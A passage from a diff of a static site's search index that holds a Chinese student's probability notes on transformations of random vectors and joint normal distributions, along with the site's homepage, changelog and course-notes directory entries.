\\)\uff0c\u5219\u4e0a\u9762\u5404\u968f\u673a\u53d8\u91cf\uff08\u5411\u91cf\uff09\u4e5f\u662f\u8fde\u7eed\u578b\u7684\uff0c\u53ef\u5c06\u5404\u5206\u5e03\u51fd\u6570\u6c42\u5bfc\u4ee5\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570\u3002</p> </li> </ol> <p>4.\u7b2ck\u5c0f\u503c\u7684\u5bc6\u5ea6\u51fd\u6570</p> \\[     p_{\\xi_{(k)}}(x) = \\frac{n!}{(k-1)!(n-k)!} [F(x)]^{k-1} [1-F(x)]^{n-k} f(x) \\] <p>\u5176\u4e2d\\(f(x)\\)\u662f\u5bc6\u5ea6\u51fd\u6570</p> <p>\u5728\u524d\u9762\u6709\\(k-1\\)\u4e2a\u5c0f\u4e8e\\(x\\)\u7684\u503c,\u518d\u6311\u4e00\u4e2a\u5728\\(x\\)\u9886\u57df\u7684\u503c\uff0c\u6709\\(n-k\\)\u4e2a\u5927\u4e8e\\(x\\)\u7684\u503c\uff0c\u8ba9\u9886\u57df\u7f29\u5c0f\uff0c\u9664\u4ee5\u8be5\u9886\u57df\u5c31\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570</p> \\[     \\lim_{\\varepsilon \\to 0} \\frac{P(x \\leqslant \\xi_{(k)} \\leqslant x + \\varepsilon)}{\\varepsilon} = p_{\\xi_{(k)}}(x) \\] <p>\u5982\u679c\u662f\u591a\u4e2a\u5c31\u591a\u4e2a\u5c0f\u9886\u57df\uff0c\u7136\u540e\u9664\u4ee5\u5c0f\u9886\u57df\u7684\u957f\u5ea6</p> <p>Warning</p> <p>\u8fd9\u79cd\u4ece\u8d1f\u65e0\u7a77\u79ef\u5206\u5230\u6b63\u65e0\u7a77\u7684\u5199\u6cd5\u53ea\u662f\u5f62\u5f0f\u4e0a\u7684\uff0c\u5b9e\u9645\u4e0a\u6211\u4eec\u8981\u6839\u636e\u5177\u4f53\u5bc6\u5ea6\u51fd\u6570\u7684\u53d6\u503c\u6765\u8fdb\u4e00\u6b65\u5224\u65ad\u79ef\u5206\u533a\u57df</p>"},{"location":"NOTE/Probability/second/#_20","title":"\u591a\u4e2a\u503c\u51fd\u6570","text":"<p>\u6211\u4eec\u4ec5\u8003\u8651\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\u7684\u53d8\u6362\u3002</p> <p>\u5047\u8bbe \\((X, Y)\\) \u4e3a\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u8054\u5408\u5bc6\u5ea6\u51fd\u6570 \\(p(X, Y)(x, y)\\)\u3002\u53d8\u6362\u5982\u4e0b\uff1a</p> \\[ \\begin{cases} U = f_1(X, Y) \\\\ V = f_2(X, Y) \\end{cases} \\] <p>\u6c42 \\((U, V)\\) \u7684\u5206\u5e03\uff1f</p> <ul> <li>\u57fa\u672c\u65b9\u6cd5</li> </ul> \\[ \\begin{align*} P(U \\leqslant u, V \\leqslant v) &amp;= P(f_1(X, Y) \\leqslant u, f_2(X, Y) \\leqslant v) \\\\ &amp;= P((X, Y) \\in \\{(x, y) : f_1(x, y) \\leqslant u, f_2(x, y) \\leqslant v\\}) \\\\ &amp;= \\int_{(x,y): f_1(x,y) \\leqslant u, f_2(x,y) \\leqslant v} p(x, y) \\, dx \\, dy \\end{align*} \\] <p>\u5982\u679c\\(f_1\\)\u548c\\(f_2\\)\u53ef\u9006\uff0c\u90a3\u4e48</p> \\[ \\begin{cases} X = f_1^{-1}(U, V) \\\\ Y = f_2^{-1}(U, V) \\end{cases} \\] <p>\u53d6Jacobian\u884c\u5217\u5f0f</p> \\[ J = \\left| \\begin{array}{cc} \\frac{\\partial f_1^{-1}(u, v)}{\\partial u} &amp; \\frac{\\partial f_1^{-1}(u, v)}{\\partial v} \\\\ \\frac{\\partial f_2^{-1}(u, v)}{\\partial u} &amp; \\frac{\\partial f_2^{-1}(u, v)}{\\partial v} \\end{array} \\right| \\] <p>\u90a3\u4e48</p> \\[     P(U \\leqslant u', V \\leqslant v') = \\int_{(u,v): u \\leqslant u', v \\leqslant v'} p(f_1^{-1}(u,v), f_2^{-1}(u,v)) |J| \\, du \\, dv \\] <p>\u5373</p> \\[     p(u, v) = p(f_1^{-1}(u,v), f_2^{-1}(u,v)) |J| \\] <p>Key-point</p> <p>\\(x,y\\)\u5206\u522b\u7528\\(u,v\\)\u8868\u793a\uff0c\u518d\u4e58\u4ee5\u96c5\u514b\u6bd4\u884c\u5217\u5f0f,\u53ef\u4ee5\u63a8\u5e7f\u5230\\(n\\)\u7ef4\u968f\u673a\u5411\u91cf\u7684\u60c5\u51b5\uff1a</p> <p>\u8bbe \\((\\xi_1, \\ldots, \\xi_n)\\) \u7684\u5bc6\u5ea6\u51fd\u6570\u4e3a \\(p(x_1, \\ldots, x_n)\\). \u73b0\u5728\u6709 \\(m\\) \u4e2a\u51fd\u6570: \\(\\eta_1 = f_1(\\xi_1, \\ldots, \\xi_n), \\ldots, \\eta_m = f_m(\\xi_1, \\ldots, \\xi_n)\\), \u5219 \\((\\eta_1, \\ldots, \\eta_m)\\) \u4e5f\u662f\u968f\u673a\u53d8\u91cf. \u9664\u4e86\u5404\u8fb9\u9645\u5206\u5e03\u5916\uff0c\u8fd8\u8981\u6c42\u5176\u8054\u5408\u5206\u5e03. \u4f8b\u5982 (2.67) \u5f0f\uff0c\u5176\u8054\u5408\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ G(y_1, \\ldots, y_m) = P(\\eta_1 \\leq y_1, \\ldots, \\eta_m \\leq y_m) = \\int \\cdots \\int p(x_1, \\ldots, x_n) dx_1 \\cdots dx_n, \\tag{2.72} \\] <p>\u8fd9\u91cc \\(D\\) \u662f \\(n\\) \u7ef4\u533a\u57df: \\(\\{(x_1, \\ldots, x_n): f_1(x_1, \\ldots, x_n) \\leq y_1, \\ldots, f_m(x_1, \\ldots, x_n) \\leq y_m\\}\\).</p> <p>\u5982\u679c \\(m = n, f_j, j = 1, \\ldots, n\\) \u6709\u552f\u4e00\u7684\u53cd\u51fd\u6570\u7ec4: \\(x_i = x_i(y_1, \\ldots, y_n), i = 1, \\ldots, n\\), \u4e14</p> \\[ J = \\frac{\\partial(x_1, \\ldots, x_n)}{\\partial(y_1, \\ldots, y_n)} \\neq 0, \\] <p>\u5219 \\((\\eta_1, \\ldots, \\eta_n)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf. \u5f53 \\((y_1, \\ldots, y_n) \\in (f_1, \\ldots, f_n)\\) \u7684\u503c\u57df\u65f6\uff0c\u5176\u5bc6\u5ea6\u4e3a</p> \\[ q(y_1, \\ldots, y_n) = p(x_1(y_1, \\ldots, y_n), \\ldots, x_n(y_1, \\ldots, y_n)) |J|, \\tag{2.73} \\] <p>\u5176\u4ed6\u60c5\u51b5, \\(q(y_1, \\ldots, y_n) = 0\\).</p> <p>Example</p> <p>Property</p> <p>\u5b9e\u9645\u4e0a\uff0c\u5bf9\u4e8e\u8054\u5408\u6b63\u6001\u5206\u5e03\uff0c\u6211\u4eec\u53ef\u4ee5\u8bbe</p> \\[     \\boldsymbol{X} =(x,y), \\boldsymbol{\\mu} =(\\mu_1,\\mu_2) \\] \\[ \\Sigma = \\begin{pmatrix} \\sigma_1^2 &amp; \\rho\\sigma_1\\sigma_2 \\\\ \\rho\\sigma_1\\sigma_2 &amp; \\sigma_2^2 \\end{pmatrix} \\] \\[     \\Sigma^{-1} =A \\begin{pmatrix} \\dfrac{1}{\\sigma_1^2} &amp; -\\dfrac{\\rho}{\\sigma_1\\sigma_2} \\\\ -\\dfrac{\\rho}{\\sigma_1\\sigma_2} &amp; \\dfrac{1}{\\sigma_2^2} \\end{pmatrix} \\] <p>\u5176\u4e2dA\u4e3a\\(\\dfrac{1}{1-\\rho^2}\\)\u7684\u4e00\u4e2a\u6570\u4e58\u77e9\u9635</p> <p>\u90a3\u4e48\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ p(X, Y)(x, y) = \\frac{1}{2\\pi |\\Sigma|^{\\frac{1}{2}}} e^{-\\frac{1}{2} (\\mathbf{x} - \\boldsymbol{\\mu})^{\\mathrm{T}} \\Sigma^{-1} (\\mathbf{x} - \\boldsymbol{\\mu})} \\] <p>\u8bbe </p> \\[ \\begin{pmatrix} U \\\\ V \\end{pmatrix} = \\begin{pmatrix} a &amp; b \\\\ c &amp; d \\end{pmatrix} \\cdot \\begin{pmatrix} X \\\\ Y \\end{pmatrix} = A \\cdot \\begin{pmatrix} X \\\\ Y \\end{pmatrix} \\] <p>\u8bbe</p> \\[     \\mathbf{x} = \\begin{pmatrix}     x \\\\     y     \\end{pmatrix} \\] \\[     \\mathbf{u} = \\begin{pmatrix}     u \\\\     v     \\end{pmatrix} \\] <p>\u90a3\u4e48</p> \\[     \\mathbf{u} = A \\mathbf{x} \\] <p>\u53d6\u9006\u53d8\u6362</p> \\[     \\mathbf{x} = A^{-1} \\mathbf{u} \\] \\[\\begin{align*} p(U,V)(u,v) &amp;= p(X,Y)(A^{-1} \\mathbf{u}) |J|\\\\             &amp;=  \\frac{1}{2\\pi |\\Sigma|^{\\frac{1}{2}}} e^{-\\frac{1}{2} (A^{-1} \\mathbf{u} - \\boldsymbol{\\mu})^{\\mathrm{T}} \\Sigma^{-1} (A^{-1} \\mathbf{u} - \\boldsymbol{\\mu})} |A^{-1}|\\\\             &amp;= \\frac{1}{2\\pi |A \\Sigma A^{\\mathrm{T}}|^{\\frac{1}{2}}} e^{-\\frac{1}{2} ( \\mathbf{u} - A\\boldsymbol{\\mu})^{\\mathrm{T}} (A \\Sigma A^{\\mathrm{T}})^{-1} (\\mathbf{u} - A\\boldsymbol{\\mu})}\\\\ \\end{align*}\\] <p>\u6545</p> \\[     (U,V) \\sim \\mathcal{N}(A\\boldsymbol{\\mu}, A \\Sigma A^{\\mathrm{T}}) \\] <p>Key-point</p> <p>\u5373\\((U,V)\\)\u7684\u534f\u65b9\u5dee\u77e9\u9635\u4e3a\\(A \\Sigma A^{\\mathrm{T}}\\), \u5747\u503c\u4e3a\\(A\\boldsymbol{\\mu}\\); \u603b\u7ed3\u800c\u8a00\uff0c\u5bf9\u4e8e\\((X,Y)\\)\u7684\u8054\u5408\u6b63\u6001\u5206\u5e03\u505a\u7ebf\u6027\u53d8\u6362\uff0c\u65b0\u7684\u968f\u673a\u5411\u91cf\u4ecd\u7136\u662f\u8054\u5408\u6b63\u6001\u5206\u5e03\uff0c\u4e14\u5747\u503c\u4e5f\u505a\u4e86\u76f8\u5e94\u7684\u7ebf\u6027\u53d8\u6362\uff0c\u534f\u65b9\u5dee\u77e9\u9635\u505a\u4e86\u76f8\u5e94\u7684 \u53d8\u6362 \uff0c\u4f46\u662f\u8f6c\u7f6e\u5728\u540e\u9762\u3002</p> <p>\u5982\u679c\u505a\u6781\u5750\u6807\u53d8\u6362</p> \\[     \\begin{cases}     x = \\rho \\cos \\theta \\\\     y = \\rho \\sin \\theta     \\end{cases} \\] <p>\u8054\u5408\u5bc6\u5ea6\u51fd\u6570\uff1a</p> \\[    p(\\rho, \\theta) = \\frac{1}{2\\pi} e^{-\\frac{1}{2}((\\rho \\cos \\theta)^2 + (\\rho \\sin \\theta)^2)} \\rho \\] <p>\u53ef\u4ee5\u7b80\u5316\u4e3a\uff1a</p> \\[    p(\\rho, \\theta) = \\frac{1}{2\\pi} \\rho e^{-\\frac{\\rho^2}{2}} \\] <p>\u8fb9\u9645\u5206\u5e03\uff1a</p> <ul> <li> <p>\u5bf9\u4e8e \\(\\rho\\)\uff1a</p> \\[    \\rho \\sim p_\\rho(\\rho) = \\rho e^{-\\frac{\\rho^2}{2}}, \\quad \\rho &gt; 0 \\] </li> <li> <p>\u5bf9\u4e8e \\(\\theta\\)\uff1a</p> \\[     \\theta \\sim p_\\theta(\\theta) = \\frac{1}{2\\pi}, \\quad 0 &lt; \\theta &lt; 2\\pi \\] </li> </ul> <p>\u72ec\u7acb\u6027\uff1a    \\(\\rho\\) \u548c \\(\\theta\\) \u662f\u72ec\u7acb\u7684\u968f\u673a\u53d8\u91cf\u3002</p> <p>\u79f0 \\(\\rho\\) \u4e3a Rayleigh \u5206\u5e03\uff0c\\(\\theta\\) \u4e3a\u5747\u5300\u5206\u5e03\u3002    </p> <p>Eg</p> <p>$\\xi, \\eta $\u76f8\u4e92\u72ec\u7acb\uff0c\u90fd\u670d\u4ece\u53c2\u6570\u4e3a 1 \u7684\u6307\u6570\u5206\u5e03\uff0c\u6c42 \\(\\alpha = \\xi + \\eta\\) \u4e0e \\(\\beta = \\dfrac{\\xi}{\\eta}\\) \u7684\u8054\u5408\u5bc6\u5ea6\uff1b\u5e76\u5206\u522b\u6c42\u51fa \\(\\alpha\\)\u4e0e \\(\\beta\\) \u7684\u5bc6\u5ea6\u3002</p> <p>\\((\\xi, \\eta)\\) \u7684\u8054\u5408\u5bc6\u5ea6\u4e3a\uff1a\u5f53 \\(x &gt; 0\\) \u4e14 \\(y &gt; 0\\) \u65f6\uff0c</p> \\[ p(x, y) = e^{-(x+y)}, \\quad x &gt; 0, y &gt; 0. \\] <p>\u5176\u4ed6\u60c5\u51b5\u4e3a 0\u3002</p> <p>\u51fd\u6570\u7ec4\u4e3a\uff1a</p> \\[ \\begin{cases} u = x + y \\\\ v = x / y \\end{cases} \\] <p>\u8ba1\u7b97\u96c5\u53ef\u6bd4\u884c\u5217\u5f0f\uff1a</p> \\[ J^{-1} = \\frac{\\partial(u, v)}{\\partial(x, y)} = \\begin{vmatrix} 1 &amp; 1 \\\\ \\frac{1}{y} &amp; -\\frac{x}{y^2} \\end{vmatrix} = 1 \\cdot \\left(-\\frac{x}{y^2}\\right) - 1 \\cdot \\frac{1}{y} = -\\frac{(1+v)^2}{u}. \\] <p>\u6545</p> \\[ |J| = \\dfrac{u}{(1 + v)^2}. \\] <p>\\((\\alpha, \\beta)\\) \u7684\u8054\u5408\u5bc6\u5ea6\u4e3a\uff1a</p> \\[ q(u, v) = \\begin{cases} \\dfrac{ue^{-u}}{(1 + v)^2}, &amp; u &gt; 0, v &gt; 0, \\\\ 0, &amp; \\text{\u5176\u4ed6}. \\end{cases} \\] <p>\\(\\alpha = \\xi + \\eta\\) \u4e0e \\(\\beta = \\dfrac{\\xi}{\\eta}\\) \u5404\u81ea\u7684\u5bc6\u5ea6\u4e3a \\(q(u, v)\\) \u7684\u8fb9\u9645\u5bc6\u5ea6\u3002\u4e0d\u96be\u770b\u51fa\uff1a</p> \\[ p_{\\alpha}(u) = \\begin{cases} ue^{-u}, &amp; u &gt; 0, \\\\ 0, &amp; u \\leqslant 0. \\end{cases} \\] <p>\u548c</p> \\[ p_{\\beta}(v) = \\begin{cases} \\dfrac{1}{1 + v^2}, &amp; v &gt; 0, \\\\ 0, &amp; v \\leqslant 0. \\end{cases} \\] <p>\u5e76\u4e14 \\(\\alpha,\\beta\\) \u76f8\u4e92\u72ec\u7acb\u3002</p> <p>\u672c\u4f8b\u4e2d\uff0c\u81ea\u7136\u4e5f\u53ef\u4ee5\u7528\u5355\u5143\u7684\u65b9\u6cd5\u8ba1\u7b97 \\(\\xi + \\eta\\) \u5404\u81ea\u7684\u5206\u5e03\uff0c\u4f46\u8fd9\u91cc\u7684\u65b9\u6cd5\u663e\u7136\u66f4\u4fbf\u6377,\u66f4\u65b9\u4fbf\u3002</p> <p>Key-point</p> <p>\u8fd9\u662f\u4e00\u4e2a\u5bcc\u6709\u6709\u8da3\u6027\u7684\u4f8b\u5b50\uff0c\u5b83\u544a\u8bc9\u6211\u4eec\uff1a</p> <ul> <li> <p>\u8981\u5224\u65ad\u968f\u673a\u53d8\u91cf\u7684\u51e0\u4e2a\u51fd\u6570\u662f\u5426\u72ec\u7acb\uff0c\u53ef\u7528\u968f\u673a\u53d8\u91cf\u53d8\u6362\u6c42\u5f97\u5b83\u4eec\u7684\u8054\u5408\u5206\u5e03\uff0c\u518d\u7528\u72ec\u7acb\u6027\u7684\u5404\u79cd\u5fc5\u8981\u6761\u4ef6\u6765\u5224\u65ad\uff1b</p> </li> <li> <p>\u8981\u6c42\u968f\u673a\u53d8\u91cf\u7684\u4e00\u4e2a\u51fd\u6570\u7684\u5206\u5e03\uff0c\u6709\u65f6\u53ef\u4f5c\u9002\u5f53\u8865\u5145\uff0c\u5148\u6c42\u5b83\u4eec\u7684\u8054\u5408\u5206\u5e03\uff0c\u800c\u540e\u8981\u6c42\u7684\u51fd\u6570\u7684\u5206\u5e03\u5219\u4f5c\u4e3a\u6c42\u5176\u8fb9\u9645\u5206\u5e03\u3002</p> </li> </ul> <p>\u6240\u4ee5\u5bf9\u4e8e\u6211\u4eec\u524d\u9762\u8ba8\u8bba\u7684\u5355\u5143\u51fd\u6570\uff0c\u4e5f\u53ef\u4ee5\u5c06\u5176\u8865\u5168\u4e3a\u591a\u5143\uff0c\u518d\u8ba1\u7b97\u8fb9\u9645\u5206\u5e03\uff0c\u4f8b\u5982\u5bf9\u4e8e\\(\\alpha = \\xi + \\eta\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u8865\u5168\u4e3a\\((\\alpha,\\beta) = (\\xi + \\eta, \\eta)\\)\uff0c\u518d\u8ba1\u7b97\\((\\alpha,\\beta)\\)\u7684\u8054\u5408\u5206\u5e03\uff0c\u6700\u540e\u6c42\u51fa\\(\\alpha\\)\u7684\u8fb9\u9645\u5206\u5e03\uff0c\u8fd9\u4e0e\u6211\u4eec\u524d\u9762\u7684\u7ed3\u679c\u662f\u4e00\u6837\u7684</p>"},{"location":"blog/","title":"Blog","text":"<p> \u7ea6 1 \u4e2a\u5b57 </p>"},{"location":"movies/movies/","title":"Movies","text":"<p> \u7ea6 13 \u4e2a\u5b57 </p> Info <p>this is a quote</p>"},{"location":"movies/movies/#_1","title":"\u4eba\u751f\u82e6\u77ed\uff0c\u7eb5\u60c5\u71c3\u70e7","text":""}]}
\ No newline at end of file
+{"config":{"lang":["en"],"separator":"[\\s\\u200b\\u3000\\-\u3001\u3002\uff0c\uff0e\uff1f\uff01\uff1b]+","pipeline":["stemmer"]},"docs":[{"location":"","title":"Welcome","text":""},{"location":"#71229","title":"\u6b22\u8fce\u6765\u523071229\u53f7\u6e2f\u6e7e","text":"<p> \u7ea6 171 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> <p>\u8fd9\u91cc\u662fKailqq\u7684\u7b14\u8bb0\u672c\uff0c\u8bb0\u5f55\u4e86\u6211\u5728\u5b66\u4e60\u8fc7\u7a0b\u4e2d\u7684\u4e00\u4e9b\u5fc3\u5f97\u548c\u7b14\u8bb0\uff0c\u5e0c\u671b\u5bf9\u4f60\u6709\u5e2e\u52a9\u3002</p> <p>\u957f\u671f\u6478\u9c7c\uff0c\u5c3d\u91cf\u66f4\u65b0</p> <p>\u76ee\u524d\u5171 62 \u4e2a\u9875\u9762\uff0c\u7ea6 142294 \u5b57\uff0c2526 \u884c\u4ee3\u7801\u3002</p>"},{"location":"#_1","title":"\u76ee\u524d\u8981\u505a\u4ec0\u4e48\u5462","text":"<ul> <li> \u4fee\u6539\u57df\u540d\u4e3anote.</li> <li> \u642d\u5efa\u4e2a\u4eba\u4e3b\u9875\u9762(Kailqq.cc)</li> <li> \u5c06GitHub\u56fe\u5e8a\u7684\u56fe\u7247\u8fc1\u79fb\u5230\u672c\u5730(\u5927\u5de5\u7a0b\u554a)</li> <li> \u4f18\u5316\u7f51\u7ad9\u7684\u52a0\u8f7d\u901f\u5ea6</li> <li> \u5c06\u6982\u7387\u8bba\u7684\u7b14\u8bb0\u6dfb\u52a0\u6570\u7406\u7edf\u8ba1\u90e8\u5206\uff0c\u9020\u798f\u5c0f\u767b(\u5148\u6316\u5751\u4e0d\u786e\u5b9a\u8981\u4e0d\u8981\u5199)</li> <li> \u8ba1\u7ec4\u7b14\u8bb0\u8865\u5168</li> <li> \u62fc\u640f\u767e\u5929\uff0c\u6211\u8981\u8003\u516d\u7ea7_(:\u0437\u300d\u2220)_</li> </ul> <p>\u6b22\u8fce\u6765\u6211\u7684\u4e3b\u9875\u770b\u770b</p> <p>\u6e90\u7801\u4ed3\u5e93</p>"},{"location":"changelog/","title":"\u66f4\u65b0\u65e5\u5fd7","text":"<p> \u7ea6 6 \u4e2a\u5b57 </p> 2025.01.12\u00b6 <p> \u66f4\u65b0\u4e86\u597d\u770b\u7684\u914d\u8272\uff0c\u4fee\u6539\u4e86\u57df\u540d</p> 2024.09.22\u00b6 <p> \u98ce\u683c\u4fee\u6539\uff0c\u7b14\u8bb0\u5927\u66f4\u65b0</p> 2024.08.15\u00b6 <p> \u66f4\u65b0\u4e86\u4e00\u70b9\u70b9RUST\u7b14\u8bb0</p> 2024.08.13\u00b6 <p> \u66f4\u65b0\u4e86\u4e00\u70b9\u70b9RUST\u7b14\u8bb0</p> 2024.08.13\u00b6 <p> \u66f4\u65b0\u4e86\u4e00\u70b9\u70b9Verilog\u7b14\u8bb0</p> 2024.08.01\u00b6 <p> \u5f00\u59cb\u66f4\u65b0\u7ebf\u6027\u4ee3\u6570\uff01</p> 2024.07.30\u00b6 <p> \u8865\u5145\u4e86Crypto\u7b14\u8bb0</p> 2024.07.24\u00b6 <p> \u65b0\u589e\u7ed3\u8bfe\u611f\u60f3</p> 2024.07.11\u00b6 <p> \u66f4\u65b0\u4e86Misc\u4e13\u98982</p> 2024.07.09\u00b6 <p> \u66f4\u65b0\u4e86Misc\u4e13\u98981</p> 2024.07.04\u00b6 <p> \u66f4\u65b0Misc\u57fa\u7840</p> 2024.07.03\u00b6 <p> \u66f4\u65b0Web\u57fa\u7840</p> 2024.07.02\u00b6 <p> CTF\u77ed\u5b66\u671f\u5bfc\u8bba</p>"},{"location":"friends/","title":"My Friends","text":"<p> \u7ea6 105 \u4e2a\u5b57 </p> <p>Shrike-505</p><p>\u6587\u8c6a\u4f2f\u52b3\u5148\u751f</p> <p>Xestray</p><p>\u8fd9\u662f\u4e00\u4e2a\u5377\u54e5</p> <p>Xecades</p><p>\u6ee1\u8239\u6e05\u68a6\u538b\u661f\u6cb3</p> <p>WEDM</p><p>\u676d\u57ce\u5c11\u5e74</p> <p>V1ceVarsa</p><p>\u672a\u7ecf\u5ba1\u89c6\u7684\u751f\u6d3b\u662f\u4e0d\u503c\u5f97\u8fc7\u7684</p> <p>Clovers</p><p>\u91d1\u5c06\u519b\uff01\u6069\u60c5\uff01\u5fe0\u8bda\uff01\uff01</p> <p>\u6c88\u6a80</p><p>\u662f\u6c88\u6a80\u7684\u5999\u5999\u5c4b\u54e6</p>"},{"location":"NOTE/","title":"\u6211\u7684\u7b14\u8bb0","text":"<p> \u7ea6 455 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u7528\u4e8e\u8bb0\u5f55\u8bfe\u7a0b\u5185\u5bb9\u6216\u8005\u81ea\u5b66\u77e5\u8bc6\u7684\u7b14\u8bb0\uff0c\u5e0c\u671b\u80fd\u5e2e\u52a9\u5230\u4f60. </p>"},{"location":"NOTE/#_2","title":"\u76ee\u5f55","text":"ADS         \u8ba1\u7ec4         CTF         \u7ebf\u6027\u4ee3\u6570         \u6570\u5b66\u5206\u6790         \u666e\u901a\u7269\u7406         \u6982\u7387\u8bba         \u5176\u5b83         \u8bed\u8a00    \u8ba1\u7b97\u673a\u7ec4\u6210              \u8ba1\u7ec4(Computer Organization)\u662f\u8ba1\u7b97\u673a\u79d1\u5b66\u4e0e\u6280\u672f\u4e13\u4e1a\u7684\u5fc5\u4fee\u8bfe\uff0c\u4e3b\u8981\u4ecb\u7ecd\u8ba1\u7b97\u673a\u786c\u4ef6\u7cfb\u7edf\u7684\u7ec4\u6210\u548c\u5de5\u4f5c\u539f\u7406\u3002\u91cd\u70b9\u4ecb\u7ecd\u4e86\u652f\u6301RISC-V\u67b6\u6784\u7684\u8ba1\u7b97\u673a\u7684\u5355\u5468\u671f\u5904\u7406\u5668\u4e0e\u6d41\u6c34\u7ebf\u5904\u7406\u5668\u3002\u5e76\u8986\u76d6\u4e86\u8ba1\u7b97\u673a\u7684\u5b58\u50a8\u7cfb\u7edf\u3001\u8f93\u5165\u8f93\u51fa\u7cfb\u7edf\u3001\u603b\u7ebf\u7b49\u5185\u5bb9\u3002          CTF              CTF(Capture The Flag)\u4e3a\u4fe1\u606f\u5b89\u5168\u593a\u65d7\u8d5b\uff0c\u6b64\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u4e3aCTF\u63d0\u4f9b\u7684\u6691\u671f\u77ed\u5b66\u671f\u8bfe\u7a0b\u7b14\u8bb0\u3002          \u7ebf\u6027\u4ee3\u6570              \u7ebf\u6027\u4ee3\u6570(Linear Algebra)\u662f\u5927\u5b66\u6570\u5b66\u4e2d\u975e\u5e38\u91cd\u8981\u7684\u4e00\u95e8\u8bfe\u7a0b\uff0c\u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u7ebf\u6027\u4ee3\u6570\u8bfe\u7a0b\u7684\u7b14\u8bb0\uff1b          \u6570\u5b66\u5206\u6790              \u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u6570\u5b66\u5206\u6790\u7532\u8bfe\u7a0b\u7684\u624b\u5199\u7248\u7b14\u8bb0\uff0c\u4e3b\u8981\u5185\u5bb9\u4e3a\u6781\u9650\u3001\u8fde\u7eed\u3001\u5fae\u5206\u3001\u79ef\u5206\u3001\u7ea7\u6570\u7b49\u3002          \u666e\u901a\u7269\u7406              \u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u666e\u901a\u7269\u7406\u4e8c\u8bfe\u7a0b\u7684\u7b14\u8bb0\uff0c\u4e3b\u8981\u5185\u5bb9\u4e3a\u7535\u78c1\u5b66\u3001\u5149\u5b66\u3001\u91cf\u5b50\u7269\u7406\u7b49\u3002          \u6982\u7387\u8bba              \u672c\u7b14\u8bb0\u4e3a\u6d59\u6c5f\u5927\u5b66\u6982\u7387\u8bba\u8bfe\u7a0b\u7684\u7b14\u8bb0\uff0c\u4e3b\u8981\u5185\u5bb9\u4e3a\u6982\u7387\u8bba\u7684\u57fa\u672c\u6982\u5ff5\u3001\u968f\u673a\u53d8\u91cf\u3001\u6982\u7387\u5206\u5e03\u3001\u5927\u6570\u5b9a\u5f8b\u3001\u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u7b49\u3002          \u5176\u5b83              \u8fd9\u90e8\u5206\u4e3b\u8981\u4e3a\u4e00\u4e9b\u81ea\u5b66\u5185\u5bb9\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\u5e38\u7528\u5de5\u5177\uff0c\u7f16\u7a0b\u8bed\u8a00\u7b49          \u8bed\u8a00              \u55ef\uff0c\u6211\u8981\u5b66\u5916\u8bed\u4e86          \u9ad8\u7ea7\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5\u5206\u6790                  ADS(Advanced Data Structures)\u662f\u4e00\u95e8\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5\u5206\u6790\u7684\u8bfe\u7a0b\uff0c\u4e3b\u8981\u5728FDS(Fundamental Data Structures)\u7684\u57fa\u7840\u4e0a\uff0c\u4ecb\u7ecd\u4e00\u4e9b\u9ad8\u7ea7\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5,\u53c2\u8003\u6559\u6750\u4e3a\u300a\u7b97\u6cd5\u5bfc\u8bba\u300b"},{"location":"NOTE/ADS/","title":"\u9ad8\u7ea7\u6570\u636e\u7ed3\u6784\u4e0e\u7b97\u6cd5\u5206\u6790","text":"<p> \u7ea6 158 \u4e2a\u5b57  2 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> <p>\u6388\u8bfe\uff1a\u5f20\u56fd\u5ddd \u53c2\u8003\uff1a\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49 </p> <p>\u5728\u6570\u636e\u7ed3\u6784\u57fa\u7840\u4e0a\uff0c\u8fdb\u4e00\u6b65\u5b66\u4e60\u6570\u636e\u7ed3\u6784\u7684\u9ad8\u7ea7\u5e94\u7528\uff0c\u7279\u522b\u662f\u7b97\u6cd5\u5206\u6790\u90e8\u5206\uff0c\u504f\u5411\u6570\u5b66\uff1b</p> <p>\u5f20\u56fd\u5ddd\u8001\u5e08\u662f\u5b66\u672f\u6c34\u5e73\u548c\u6559\u5b66\u6c34\u5e73\u90fd\u5f88\u9ad8\u7684\u8001\u5e08\uff0c\u6bcf\u6bcf\u542c\u8bfe\u4eff\u4f5b\u918d\u9190\u704c\u9876\uff0c\u5bcc\u6709\u542f\u53d1;</p> <p>\u5948\u4f55\u672c\u4eba\u6700\u540e\u671f\u672b\u8868\u73b0\u4e0d\u4f73\uff0c\u611f\u8c22\u8001\u5e08\uff0c\u5b66\u751f\u673d\u6728\u3002</p>"},{"location":"NOTE/ADS/#_2","title":"\u76ee\u5f55","text":"ADS_card \u8bf4\u660e <p>\u76ee\u5f55\u5361\u7247\u4f7f\u7528\u4e86\u81ea\u5b9a\u4e49\u6837\u5f0f\uff0c\u6e90\u7801\u5728<code>docs/css/card.css/ADS_card</code>\u4e2d\uff0c\u4f7f\u7528\u65f6\u9700\u8981\u5f15\u5165\u8be5\u6837\u5f0f\u6587\u4ef6\u3002</p> <p>\u4f7f\u7528\u793a\u4f8b <pre><code> &lt;div class=\"ADS_card\" 